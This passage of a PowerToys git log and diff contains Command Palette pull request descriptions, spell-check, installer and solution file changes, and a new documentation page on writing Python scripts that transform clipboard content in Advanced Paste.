        "com.microsoft.cmdpal.builtin.system.fallback": {
          "IsEnabled": true,
          "IncludeInGlobalResults": true
        }
      },
      "PinnedCommandIds": [
        "com.microsoft.cmdpal.builtin.system.lock",
        "com.microsoft.cmdpal.builtin.system.restart_shell"
      ]
    },
```
will get us
<img width="840" height="197" alt="image"
src="https://github.com/user-attachments/assets/9ed19003-8361-4318-8dc9-055414456a51"
/>

Then it's just a matter of plumbing the command provider ID through the
layers, so that the command item knows who it is from. We'll need that
later for actually wiring this to the command's context menu.

related to #45191 
related to #45201
2026-02-19 16:20:05 -06:00
Jiří Polášek
39bfa86335 CmdPal: Fixes and improve main window positioning (#45585)
## Summary of the Pull Request

This PR improves main window positioning:

- Fixes cases where an invalid window size or position was saved.  
- `UpdateWindowPositionInMemory` failed to capture correct values when
the window was minimized or maximized (for example, a minimized window
reports coordinates like `(-32000, -32000)`).
- Improves repositioning logic to use relative anchors (corners and
center). When switching displays, the window should reappear in the
expected position. This also reduces cases that trigger the failsafe
recentering.
- Fixes the dragging rectangle size after switching DPIs - the rectangle
was not adapting, so it when switching from 100 % to 200 % it covered
only left half of the window and had teeny-tiny height.
- Suppresses system DPI handling during summon to prevent double
scaling.
- Makes `WindowPosition` class immutable.
- Adds light-weight failsafe preventing overwriting position with
invalid data.
- Hotfixes a min/max state conflict with the WinUIEx window manager.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45576
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-19 12:43:32 -06:00
Jiří Polášek
dcf4c4d16d CmdPal: Calm down sanitizer and adjust unit tests (#45613)
## Summary of the Pull Request

This PR chills down the report sanitizer, because it's overly active.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45612
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-19 12:39:18 -06:00
Jiří Polášek
de25059de0 CmdPal: Fix starting new web URI for default browser that doesn't support exe arguments (#45614)
## Summary of the Pull Request

This PR changes the way the Web Search built-in extension handles full
URIs: it bypasses default browser discovery and asks the shell to open
the URI directly. The original execution path remains as a fallback and
for simple queries (when a custom search engine is not set).

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45610
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-19 12:33:28 -06:00
509 changed files with 17210 additions and 3040 deletions

View File

@@ -315,6 +315,7 @@ xef
xes
PACKAGEVERSIONNUMBER
APPXMANIFESTVERSION
PROGMAN
# MRU lists
CACHEWRITE
@@ -325,6 +326,14 @@ REGSTR
# Misc Win32 APIs and PInvokes
INVOKEIDLIST
MEMORYSTATUSEX
ABE
HTCAPTION
POSCHANGED
QUERYPOS
SETAUTOHIDEBAR
WINDOWPOS
WINEVENTPROC
WORKERW
# PowerRename metadata pattern abbreviations (used in tests and regex patterns)
DDDD
@@ -349,3 +358,6 @@ nostdin
# Performance counter keys
engtype
Nonpaged
# XAML
Untargeted

View File

@@ -110,8 +110,8 @@
^src/modules/cmdpal/doc/initial-sdk-spec/list-elements-mock-002\.pdn$
^src/modules/cmdpal/ext/SamplePagesExtension/Pages/SampleMarkdownImagesPage\.cs$
^src/modules/cmdpal/Microsoft\.CmdPal\.UI/Settings/InternalPage\.SampleData\.cs$
^src/modules/cmdpal/Tests/Microsoft\.CmdPal\.Core\.Common\.UnitTests/.*\.TestData\.cs$
^src/modules/cmdpal/Tests/Microsoft\.CmdPal\.Core\.Common\.UnitTests/Text/.*\.cs$
^src/modules/cmdpal/Tests/Microsoft\.CmdPal\.Common\.UnitTests/.*\.TestData\.cs$
^src/modules/cmdpal/Tests/Microsoft\.CmdPal\.Common\.UnitTests/Text/.*\.cs$
^src/modules/colorPicker/ColorPickerUI/Shaders/GridShader\.cso$
^src/modules/launcher/Plugins/Microsoft\.PowerToys\.Run\.Plugin\.TimeDate/Properties/
^src/modules/MouseUtils/MouseJumpUI/MainForm\.resx$

View File

@@ -845,6 +845,7 @@ MOUSEINPUT
MOVESIZEEND
MOVESIZESTART
MRM
MRT
mru
msc
mscorlib
@@ -2037,7 +2038,6 @@ mousehighlighter
mousejump
mousepointer
mouseutils
mrt
MSAL
msdia
MSIs

View File

@@ -211,9 +211,6 @@
"PowerToys.PowerAccentModuleInterface.dll",
"PowerToys.PowerAccentKeyboardService.dll",
"PowerToys.PowerDisplayModuleInterface.dll",
"WinUI3Apps\\PowerToys.PowerDisplay.dll",
"WinUI3Apps\\PowerToys.PowerDisplay.exe",
"PowerDisplay.Lib.dll",
"WinUI3Apps\\PowerToys.PowerRenameExt.dll",

View File

@@ -78,10 +78,10 @@
<PackageVersion Include="Microsoft.Windows.CsWinRT" Version="2.2.0" />
<PackageVersion Include="Microsoft.Windows.ImplementationLibrary" Version="1.0.231216.1"/>
<PackageVersion Include="Microsoft.Windows.SDK.BuildTools" Version="10.0.26100.6901" />
<PackageVersion Include="Microsoft.WindowsAppSDK" Version="1.8.251106002" />
<PackageVersion Include="Microsoft.WindowsAppSDK.Foundation" Version="1.8.251104000" />
<PackageVersion Include="Microsoft.WindowsAppSDK.AI" Version="1.8.39" />
<PackageVersion Include="Microsoft.WindowsAppSDK.Runtime" Version="1.8.251106002" />
<PackageVersion Include="Microsoft.WindowsAppSDK" Version="1.8.260209005" />
<PackageVersion Include="Microsoft.WindowsAppSDK.Foundation" Version="1.8.260203002" />
<PackageVersion Include="Microsoft.WindowsAppSDK.AI" Version="1.8.47" />
<PackageVersion Include="Microsoft.WindowsAppSDK.Runtime" Version="1.8.260209005" />
<PackageVersion Include="Microsoft.Xaml.Behaviors.WinUI.Managed" Version="2.0.9" />
<PackageVersion Include="Microsoft.Xaml.Behaviors.Wpf" Version="1.1.39" />
<PackageVersion Include="ModernWpfUI" Version="0.9.4" />

View File

@@ -196,6 +196,10 @@
<Folder Name="/modules/CommandPalette/">
<Project Path="src/modules/cmdpal/CmdPalKeyboardService/CmdPalKeyboardService.vcxproj" Id="5f63c743-f6ce-4dba-a200-2b3f8a14e8c2" />
<Project Path="src/modules/cmdpal/CmdPalModuleInterface/CmdPalModuleInterface.vcxproj" Id="0adeb797-c8c7-4ffa-acd5-2af6cad7ecd8" />
<Project Path="src/modules/cmdpal/Microsoft.CmdPal.Common/Microsoft.CmdPal.Common.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
</Folder>
<Folder Name="/modules/CommandPalette/Built-in Extensions/">
<Project Path="src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Apps/Microsoft.CmdPal.Ext.Apps.csproj">
@@ -275,16 +279,6 @@
<Deploy />
</Project>
</Folder>
<Folder Name="/modules/CommandPalette/Core/">
<Project Path="src/modules/cmdpal/Core/Microsoft.CmdPal.Core.Common/Microsoft.CmdPal.Core.Common.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/cmdpal/Core/Microsoft.CmdPal.Core.ViewModels/Microsoft.CmdPal.Core.ViewModels.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
</Folder>
<Folder Name="/modules/CommandPalette/Extension SDK/">
<Project Path="src/modules/cmdpal/extensionsdk/Microsoft.CommandPalette.Extensions.Toolkit/Microsoft.CommandPalette.Extensions.Toolkit.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
@@ -305,7 +299,7 @@
</Project>
</Folder>
<Folder Name="/modules/CommandPalette/Tests/">
<Project Path="src/modules/cmdpal/Tests/Microsoft.CmdPal.Core.Common.UnitTests/Microsoft.CmdPal.Core.Common.UnitTests.csproj">
<Project Path="src/modules/cmdpal/Tests/Microsoft.CmdPal.Common.UnitTests/Microsoft.CmdPal.Common.UnitTests.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
@@ -694,11 +688,13 @@
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<!-- TEMPORARILY_DISABLED: PowerDisplay
<Project Path="src/modules/powerdisplay/PowerDisplay/PowerDisplay.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/powerdisplay/PowerDisplayModuleInterface/PowerDisplayModuleInterface.vcxproj" Id="d1234567-8901-2345-6789-abcdef012345" />
-->
</Folder>
<Folder Name="/modules/PowerDisplay/Tests/">
<Project Path="src/modules/powerdisplay/PowerDisplay.Lib.UnitTests/PowerDisplay.Lib.UnitTests.csproj">

View File

@@ -0,0 +1,285 @@
# Advanced Paste Python Scripts
Advanced Paste supports user-defined Python scripts that transform clipboard content. Scripts are
discovered automatically from a configurable folder and appear as actions in the Advanced Paste UI.
## Quick start
1. Open the scripts folder — by default `%LOCALAPPDATA%\Microsoft\PowerToys\AdvancedPaste\Scripts`.
You can change this in **Settings → Advanced Paste → Python scripts → Scripts folder**.
2. Drop a `.py` file into the folder.
3. Define one `advanced_paste_from_<input>_to_<output>` function (see [Writing a script](#writing-a-script)).
4. Open the Advanced Paste UI (`Win+Shift+V`) — your script will appear in the action list.
> **Important:** Each `.py` file must define exactly one `advanced_paste_from_<input>_to_<output>`
> function. Scripts with zero or multiple such functions are ignored.
## Writing a script
You write a single Python function whose **name** declares both what clipboard input it accepts
and what output type it produces.
No imports from PowerToys are needed — zero setup, zero dependencies on our side.
### Function naming convention
The function name follows the pattern:
```
advanced_paste_from_<input>_to_<output>(<param>)
```
**Input types** (what the function receives):
| Input | Parameter | When it runs |
|-------|-----------|--------------|
| `text` | `str` — clipboard text | Clipboard has text |
| `html` | `str` — clipboard HTML | Clipboard has HTML |
| `image` | `str` — path to temp image file | Clipboard has an image |
| `audio` | `str` — path to audio file | Clipboard has an audio file |
| `video` | `str` — path to video file | Clipboard has a video file |
| `files` | `list[str]` — file paths | Clipboard has files |
**Output types** (what the function produces — declared via `_to_` suffix):
| Output | Effect |
|--------|--------|
| `text` | Sets clipboard to text |
| `html` | Sets clipboard to HTML |
| `image` | Sets clipboard to image |
| `audio` | Sets clipboard to audio file |
| `video` | Sets clipboard to video file |
| `file` | Sets clipboard to a file |
| `files` | Sets clipboard to multiple files |
### Return value
The return value is interpreted according to the declared output type:
| Output type | Expected return value |
|-------------|---------------------|
| `text` | `str` (or any value — will be converted via `str()`) |
| `html` | `str` containing HTML |
| `image` | `str` or `pathlib.Path` pointing to an image file |
| `file` | `str` or `pathlib.Path` pointing to a file |
| `files` | `list` of `str`/`pathlib.Path` file paths |
Returning `None` produces an empty result (no-op).
## Examples
### Minimal — uppercase text
```python
def advanced_paste_from_text_to_text(text):
return text.upper()
```
That's it. No headers required, no imports from PowerToys.
### With optional metadata
```python
# @advancedpaste:name Reverse Text
# @advancedpaste:desc Reverses clipboard text character by character
def advanced_paste_from_text_to_text(text):
return text[::-1]
```
### Text to HTML
```python
# @advancedpaste:name Markdown Table to HTML
# @advancedpaste:desc Convert a markdown table to an HTML table
def advanced_paste_from_text_to_html(text):
headers = text.splitlines()[0].split("|")
return f"<table><tr>{''.join(f'<th>{h.strip()}</th>' for h in headers if h.strip())}</tr></table>"
```
### Image to text (OCR)
```python
# @advancedpaste:requires pytesseract
def advanced_paste_from_image_to_text(image_path):
import pytesseract
return pytesseract.image_to_string(image_path).strip()
```
### Save text as file
```python
import os
from pathlib import Path
import tempfile
def advanced_paste_from_text_to_file(text):
# Use ADVANCED_PASTE_WORK_DIR for WSL compatibility; falls back to temp dir on Windows.
out_dir = os.environ.get("ADVANCED_PASTE_WORK_DIR") or tempfile.gettempdir()
out = Path(out_dir) / "clipboard.txt"
out.write_text(text, encoding="utf-8")
return out
```
### Image processing (image → image)
```python
import os
from PIL import Image
from pathlib import Path
import tempfile
def advanced_paste_from_image_to_image(image_path):
"""Convert image to grayscale."""
img = Image.open(image_path).convert("L")
out_dir = os.environ.get("ADVANCED_PASTE_WORK_DIR") or tempfile.gettempdir()
out = Path(out_dir) / "gray.png"
img.save(out)
return out
```
### File listing (files → text)
```python
import os
def advanced_paste_from_files_to_text(file_paths):
lines = []
for p in file_paths:
size = os.path.getsize(p)
lines.append(f"{os.path.basename(p)} ({size} bytes)")
return "\n".join(lines)
```
## Header tags
All header tags are **optional**. Tags are placed in comment lines at the top of the script.
| Tag | Description |
|-----|-------------|
| `name` | Display name in the Advanced Paste UI. If omitted, the filename is used. |
| `desc` | Short description / tooltip. |
| `disabled` | Presence of this tag disables the script (it won't appear in the UI). |
| `requires` | Declare Python package dependencies (see [Dependencies](#declaring-dependencies)). |
### Example header
```python
# @advancedpaste:name My Formatter
# @advancedpaste:desc Formats clipboard text as markdown table
```
To disable a script without deleting it, add:
```python
# @advancedpaste:disabled
```
Remove the line to re-enable.
## Declaring dependencies
Use `requires` to declare Python packages the script needs:
```python
# @advancedpaste:requires PIL=Pillow
# @advancedpaste:requires cv2=opencv-python-headless numpy requests
```
Each token is either:
- **`import_name`** — the pip package is assumed to have the same name (e.g. `requests`).
- **`import_name=pip_package`** — when the import name differs from the pip package
(e.g. `cv2=opencv-python-headless`, `PIL=Pillow`).
### Automatic import detection
Advanced Paste also scans the script body for `import` and `from ... import` statements
and cross-references them against the Python standard library. Any non-stdlib import
that is not already installed triggers a prompt to install it automatically.
## Security — script trust
The first time a script is executed (or after it has been modified), Advanced Paste
shows a confirmation dialog. Upon approval the SHA-256 hash of the script is stored.
Subsequent runs of the unchanged file skip the dialog.
## Error handling
When a script fails, Advanced Paste extracts the Python traceback from stderr and
displays a user-friendly summary in the UI:
- **ModuleNotFoundError** — identifies the missing module and suggests installing it.
- **SyntaxError** — shows the file and line number.
- **Timeout** — shows the configured timeout value (default 30 s; configurable in Settings).
- **Other errors** — shows the last line of the traceback as a summary, with the full
traceback available in the expandable *Details* section.
## Settings
The Python scripts feature uses a **mode selector** (dropdown) with three options:
| Mode | Description |
|------|-------------|
| **Disabled** | Python scripts are not active. |
| **Windows** | Scripts run using a native Windows Python interpreter. |
| **WSL** | Scripts run inside Windows Subsystem for Linux. |
Each mode maintains its own independent settings (scripts folder, interpreter path, etc.),
so switching between Windows and WSL does not lose your previous configuration.
### Windows mode settings
| Setting | Description | Default |
|---------|-------------|---------|
| Scripts folder | Folder to scan for `.py` scripts. | `%LOCALAPPDATA%\Microsoft\PowerToys\AdvancedPaste\Scripts` |
| Python interpreter | Path to the Python executable. Leave blank for auto-detection. | *(auto-detect)* |
### WSL mode settings
| Setting | Description | Default |
|---------|-------------|---------|
| Scripts folder | Folder to scan for `.py` scripts (Windows path — auto-translated to `/mnt/...`). | `%LOCALAPPDATA%\Microsoft\PowerToys\AdvancedPaste\Scripts` |
| WSL distribution | Which WSL distro to use (e.g. `Ubuntu`). Leave blank for the default distribution. | *(default)* |
### Scripts list
The Settings page shows a read-only list of discovered scripts. For each script you can see:
- **Name** — from `@advancedpaste:name` tag, or the filename if not set.
- **Description** — from `@advancedpaste:desc` tag.
- **Conversion** — the input → output types detected from the function name (e.g. "text → image").
The list is **not editable** from Settings. To change a script's name, description, enabled state,
or any other metadata, open the script file directly (click the "Open in editor" button) and edit
the `# @advancedpaste:...` header tags. After saving, click **Refresh** in Settings to reload.
### WSL mode details
When **WSL** mode is selected:
- Scripts are executed via `wsl.exe bash -l -c "python3 ..."` using the configured distribution.
- The scripts folder remains on the Windows filesystem; paths are automatically translated
to `/mnt/c/...` format for WSL access.
- Package installation uses `pip3 install` inside the WSL environment.
- Output files from scripts must be written under `/mnt/` (the Windows-mounted filesystem)
so they can be accessed from Windows. The runner sets the `ADVANCED_PASTE_WORK_DIR` environment
variable to a temp directory under `/mnt/c/...` — use it instead of `tempfile.gettempdir()`
when producing file output for cross-platform compatibility.
> **Tip:** If you have Python installed only in WSL (not on Windows), select WSL mode
> to use your existing WSL Python environment with all its packages.
## Tips
- Each `.py` file must contain exactly one `advanced_paste_from_<input>_to_<output>` function.
If you need to handle multiple input types, create separate script files for each.
- A `.py` file without any matching function is ignored — use this for helper modules
that other scripts can import.
- Scripts can be tested from the command line:
```
echo {"format":["text"],"text":"hello"} | python _runner.py my_script.py
```
- The script's directory is added to `sys.path` at runtime, so you can import sibling `.py`
files as helper modules.

View File

@@ -96,6 +96,10 @@ See [Debugging](development/debugging.md) for detailed debugging techniques, inc
See [Creating a New PowerToy](development/new-powertoy.md) for an end-to-end guide covering module architecture, settings integration, installer packaging, and testing.
### Building Command Palette Extensions
If you want to build your own extensions for Command Palette, check out the [Command Palette extensibility documentation](https://aka.ms/building-cmdpal-extensions). It covers how to create, package, and distribute custom extensions that integrate with Command Palette.
## Development Guidelines
- [Coding Guidelines](development/guidelines.md) - Development guidelines and best practices

View File

@@ -1565,7 +1565,6 @@ UINT __stdcall TerminateProcessesCA(MSIHANDLE hInstall)
L"PowerToys.PowerRename.exe",
L"PowerToys.ImageResizer.exe",
L"PowerToys.LightSwitchService.exe",
L"PowerToys.PowerDisplay.exe",
L"PowerToys.GcodeThumbnailProvider.exe",
L"PowerToys.BgcodeThumbnailProvider.exe",
L"PowerToys.PdfThumbnailProvider.exe",

View File

@@ -47,7 +47,6 @@ call powershell.exe -NonInteractive -executionpolicy Unrestricted -File $(MSBuil
call move /Y ..\..\..\NewPlus.wxs.bk ..\..\..\NewPlus.wxs
call move /Y ..\..\..\Peek.wxs.bk ..\..\..\Peek.wxs
call move /Y ..\..\..\PowerRename.wxs.bk ..\..\..\PowerRename.wxs
call move /Y ..\..\..\PowerDisplay.wxs.bk ..\..\..\PowerDisplay.wxs
call move /Y ..\..\..\Product.wxs.bk ..\..\..\Product.wxs
call move /Y ..\..\..\RegistryPreview.wxs.bk ..\..\..\RegistryPreview.wxs
call move /Y ..\..\..\Resources.wxs.bk ..\..\..\Resources.wxs
@@ -124,7 +123,6 @@ call powershell.exe -NonInteractive -executionpolicy Unrestricted -File $(MSBuil
<Compile Include="KeyboardManager.wxs" />
<Compile Include="Peek.wxs" />
<Compile Include="PowerRename.wxs" />
<Compile Include="PowerDisplay.wxs" />
<Compile Include="DscResources.wxs" />
<Compile Include="RegistryPreview.wxs" />
<Compile Include="Run.wxs" />

View File

@@ -53,7 +53,6 @@
<ComponentGroupRef Id="LightSwitchComponentGroup" />
<ComponentGroupRef Id="PeekComponentGroup" />
<ComponentGroupRef Id="PowerRenameComponentGroup" />
<ComponentGroupRef Id="PowerDisplayComponentGroup" />
<ComponentGroupRef Id="RegistryPreviewComponentGroup" />
<ComponentGroupRef Id="RunComponentGroup" />
<ComponentGroupRef Id="SettingsComponentGroup" />

View File

@@ -176,10 +176,6 @@ Generate-FileComponents -fileListName "ImageResizerAssetsFiles" -wxsFilePath $PS
Generate-FileList -fileDepsJson "" -fileListName LightSwitchFiles -wxsFilePath $PSScriptRoot\LightSwitch.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\LightSwitchService"
Generate-FileComponents -fileListName "LightSwitchFiles" -wxsFilePath $PSScriptRoot\LightSwitch.wxs
#PowerDisplay
Generate-FileList -fileDepsJson "" -fileListName PowerDisplayAssetsFiles -wxsFilePath $PSScriptRoot\PowerDisplay.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\PowerDisplay"
Generate-FileComponents -fileListName "PowerDisplayAssetsFiles" -wxsFilePath $PSScriptRoot\PowerDisplay.wxs
#New+
Generate-FileList -fileDepsJson "" -fileListName NewPlusAssetsFiles -wxsFilePath $PSScriptRoot\NewPlus.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\NewPlus"
Generate-FileComponents -fileListName "NewPlusAssetsFiles" -wxsFilePath $PSScriptRoot\NewPlus.wxs

View File

@@ -117,4 +117,4 @@
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
</Project>

View File

@@ -22,13 +22,13 @@ using System.Diagnostics.CodeAnalysis;
[assembly: SuppressMessage("StyleCop.CSharp.SpecialRules", "SA0001:XmlCommentAnalysisDisabled", Justification = "Not enabled as we don't want or need XML documentation.")]
[assembly: SuppressMessage("StyleCop.CSharp.DocumentationRules", "SA1629:DocumentationTextMustEndWithAPeriod", Justification = "Not enabled as we don't want or need XML documentation.")]
[assembly: SuppressMessage("Microsoft.Design", "CA1009:DeclareEventHandlersCorrectly", Scope = "member", Target = "Microsoft.Templates.Core.Locations.TemplatesSynchronization.#SyncStatusChanged", Justification = "Using an Action<object, SyncStatusEventArgs> does not allow the required notation")]
[assembly: SuppressMessage("Microsoft.Design", "CA1009:DeclareEventHandlersCorrectly", Scope = "member", Target = "Microsoft.Templates.Locations.TemplatesSynchronization.#SyncStatusChanged", Justification = "Using an Action<object, SyncStatusEventArgs> does not allow the required notation")]
// Non general suppressions
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", Justification = "This is part of the markdown processing", MessageId = "System.Windows.Documents.Run.#ctor(System.String)", Scope = "member", Target = "Microsoft.Templates.UI.Controls.Markdown.#ImageInlineEvaluator(System.Text.RegularExpressions.Match)")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1308:NormalizeStringsToUppercase", Justification = "We need to have the names of these keys in lowercase to be able to compare with the keys becoming form the template json. ContainsKey does not allow StringComparer specification to IgnoreCase", Scope = "member", Target = "Microsoft.Templates.Core.ITemplateInfoExtensions.#GetQueryableProperties(Microsoft.TemplateEngine.Abstractions.ITemplateInfo)")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1308:NormalizeStringsToUppercase", Justification = "We need to have the names of these keys in lowercase to be able to compare with the keys becoming form the template json. ContainsKey does not allow StringComparer specification to IgnoreCase", Scope = "member", Target = "Microsoft.Templates.Core.Composition.CompositionQuery.#Match(System.Collections.Generic.IEnumerable`1<Microsoft.Templates.Core.Composition.QueryNode>,Microsoft.Templates.Core.Composition.QueryablePropertyDictionary)")]
[assembly: SuppressMessage("Usage", "VSTHRD103:Call async methods when in an async method", Justification = "Resource DictionaryWriter does not implement flush async", Scope = "member", Target = "~M:Microsoft.Templates.Core.PostActions.Catalog.Merge.MergeResourceDictionaryPostAction.ExecuteInternalAsync~System.Threading.Tasks.Task")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1308:NormalizeStringsToUppercase", Justification = "We need to have the names of these keys in lowercase to be able to compare with the keys becoming form the template json. ContainsKey does not allow StringComparer specification to IgnoreCase", Scope = "member", Target = "Microsoft.Templates.ITemplateInfoExtensions.#GetQueryableProperties(Microsoft.TemplateEngine.Abstractions.ITemplateInfo)")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1308:NormalizeStringsToUppercase", Justification = "We need to have the names of these keys in lowercase to be able to compare with the keys becoming form the template json. ContainsKey does not allow StringComparer specification to IgnoreCase", Scope = "member", Target = "Microsoft.Templates.Composition.CompositionQuery.#Match(System.Collections.Generic.IEnumerable`1<Microsoft.Templates.Composition.QueryNode>,Microsoft.Templates.Composition.QueryablePropertyDictionary)")]
[assembly: SuppressMessage("Usage", "VSTHRD103:Call async methods when in an async method", Justification = "Resource DictionaryWriter does not implement flush async", Scope = "member", Target = "~M:Microsoft.Templates.PostActions.Catalog.Merge.MergeResourceDictionaryPostAction.ExecuteInternalAsync~System.Threading.Tasks.Task")]
[assembly: SuppressMessage("Naming", "CA1707:Identifiers should not contain underscores", Justification = "Used in a lot of places for meaningful method names")]
[assembly: SuppressMessage("Performance", "CA1822:Mark members as static", Justification = "Static methods may improve performance but decrease maintainability")]
[assembly: SuppressMessage("Naming", "CA1711:Identifiers should not have incorrect suffix", Justification = "Renaming everything would be a lot of work. It does not do any harm if an EventHandler delegate ends with the suffix EventHandler. Besides this, the Rule causes some false positives.")]
@@ -43,10 +43,10 @@ using System.Diagnostics.CodeAnalysis;
[assembly: SuppressMessage("Microsoft.VisualStudio.Threading.Analyzers", "VSTHRD100:Avoid async void methods", Justification = "Event handlers needs async void", Scope = "member", Target = "~M:Microsoft.Templates.UI.ViewModels.Common.SavedTemplateViewModel.OnDelete(Microsoft.Templates.UI.ViewModels.Common.SavedTemplateViewModel)")]
// Localization suppressions
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.#CreateJunction(System.String,System.String,System.Boolean)", Justification = "Only used for local generation")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.#DeleteJunction(System.String)", Justification = "Only used for local generation")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.#InternalGetTarget(Microsoft.Win32.SafeHandles.SafeFileHandle)", Justification = "Only used for local generation")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Core.Locations.JunctionNativeMethods.#OpenReparsePoint(System.String,Microsoft.Templates.Core.Locations.JunctionNativeMethods+EFileAccess)", Justification = "Only used for local generation")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Locations.JunctionNativeMethods.#CreateJunction(System.String,System.String,System.Boolean)", Justification = "Only used for local generation")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Locations.JunctionNativeMethods.#DeleteJunction(System.String)", Justification = "Only used for local generation")]
